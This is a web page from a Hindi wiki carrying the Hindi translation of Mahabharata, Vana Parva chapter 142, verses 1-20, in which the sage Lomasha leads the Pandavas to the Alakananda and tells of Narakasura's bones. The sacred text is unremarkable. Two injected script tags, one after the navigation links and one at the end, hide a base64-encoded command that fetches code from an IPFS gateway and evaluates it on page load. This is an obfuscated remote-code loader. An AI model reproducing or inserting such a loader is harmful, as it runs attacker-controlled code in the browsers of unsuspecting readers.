महाभारत वन पर्व अध्याय 142 श्लोक 1-20

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ

द्वि‍चत्‍वारिं‍शदधि‍कशततम (142) अध्‍याय: वन पर्व (तीर्थयात्रापर्व )

महाभारत: वन पर्व: द्वि‍चत्‍वारिं‍शदधि‍कशततम अध्‍याय: श्लोक 1-20 का हिन्दी अनुवाद

पाण्‍डवों द्वारा गंगाजी की वन्‍दना, लोमशजी का नकासुर के वध और भगवान वाराह द्वारा वसुधा के उद्धार की कथा कहना

लोमशजी कहते है- तीर्थदर्शी पाण्‍डुकुमारो ! तुमने सब पर्वतो के दर्शन कर लि‍ये। नगरों और वनों सहि‍त नदि‍यों का भी अवलोकन कि‍या। शोभाशाली तीर्थों के भी दर्शन कि‍ये और उन सबके जलका अपने हाथों से स्‍पर्श भी कर लि‍या । पाण्‍डवों ! यह मार्ग दि‍व्‍य मन्‍दराचल की ओर जायगा। अब तुम सब लोग उद्वेगशून्‍य और एकाग्रचि‍त हो जाओ। यह देवताओं का नि‍वास स्‍थान है, जि‍सपर तुम्‍हें चलना होगा। यहं पुण्‍यकर्म करनेवाले दि‍व्‍य ऋषि‍यों का भी नि‍वास है । सौम्‍य स्‍वभाववाले नरेश ! यह कल्‍याणमय जल से भरी हुई पुण्‍यस्‍वरूपा महानदी अलकनन्‍दन ( गंगा ) प्रवाहि‍त होती है, जो देवर्षि‍यों के समुदाय से सेवि‍त है। इसका प्रादुभार्व बदरीकाश्रम से ही हुआ है । आकाशचारी महात्‍मा बालखि‍ल्‍य तथा महामना गन्‍धर्वगण भी नि‍त्‍य इसके तटपर आते-जाते है और इसकी पूजा करती है । सामगान करने वाले वि‍द्वान वेदमन्‍त्रों की पुण्‍यमयी ध्‍वनी फैलाते हुए यहां सामदेव की ऋृचाओं का गान करते है। मरीचि‍, पुलह, भृगु तथा अंगि‍रा भी यहां जप एवं प्‍वाध्‍याय करते है । देवश्रेष्‍ट इन्‍द्र भी मरुद्गणों के साथ यहां आकर प्रति‍दि‍न नि‍‍यममपूर्वक जप करते है। उस समय साध्‍य तथा अश्‍वि‍नीकुमार भी उनकी परि‍चर्या में रहते है । चन्‍द्रमा, सूर्य, ग्रह और नक्षत्र भी दि‍न रात के वि‍भाग पूर्वक इस पुण्‍य नदी की यात्रा करते है । महाभाग ! गंगादर ( हरि‍द्वार ) में साक्षात भगवान शंकर ने इसके पावन उल को अपने मस्‍तक पर धारण कि‍या है, जि‍ससे जगत की रक्षा हो । तात ! तुम सब लोग मन को संयम मे रखते हुए इस ऐश्‍वर्यशालीनी दि‍व्‍य नदी के तटपर चलकर इसे सादर प्रणाम करो । महात्‍मा लोमश का यह वचन सुनकर सब पाण्‍डवों ने संथतचि‍त्‍त से भगवती आकाशगंगा ( अलकनन्‍दन ) को प्रणाम कि‍या । प्रणाम करके णर्म का आचरण करने वाले वे समस्‍त पाण्‍डव पुन: सम्‍पूर्ण ऋषि‍-मुनि‍यों के साथ हर्षपूर्वक आगे बढ़े । तदनन्‍तर उन नरश्रेष्‍ट पाण्‍डवों ने एक श्‍वेत पर्वत सा देखा, जो मेरूगगि‍री के मसान दूर से ही प्रकाशि‍त हो रहा था। वह सम्‍पूर्ण दि‍शाओं में बि‍खरा जान पड़ता था । लोमशजी ताड़ गये कि‍ पाण्‍डवलोग उस श्‍वेत पर्वताकार वस्‍तु के बारे में कुद पूछना चाहते है, तब प्रवचन की कला जानने वाले उन महर्षि‍ ने कहा- पाण्‍डवों ! सुनो । ‘नरश्रेष्‍ट ! यह जो सब ओर बि‍खरी हुई कैलाश शि‍खर के समान सुन्‍दर प्रकाशयुक्‍त पर्वताकार वस्‍तु देख रहे हो, ये सब वि‍शालकाय नरकासुर की हड्डीयां है। पर्वत और शि‍लाखण्‍डों पर स्‍थि‍त होने के कारण ये भी पर्वत के समान ही प्रतीत हाती है । ‘वह महामना दैत्‍य दस हजार वर्षों तक कठोर तपस्‍या करके तप, स्‍वाध्‍याय और पराक्रम से इन्‍द्र का स्‍थान लेना चाहता था । ‘अपने महान तपोबल तथा वेगयुक्‍त बाहुबल से वह देवताओं के लि‍ए सदा अजेय बना रहता था और स्‍वयं सब देवताओं को सताया करता था । ‘नि‍ष्‍पाप युधि‍ष्‍ठि‍र ! नरकासुर बलवान तो था ही, धर्म के लि‍ये भी उसने कि‍तने ही उत्‍तम व्रतों का आचरण कि‍या था,यह सब जानकर इन्‍द्र को बड़ा भय हुआ, वे घबरा उठे ।


« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:सम्पूर्ण महाभारत अभी निर्माणाधीन है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>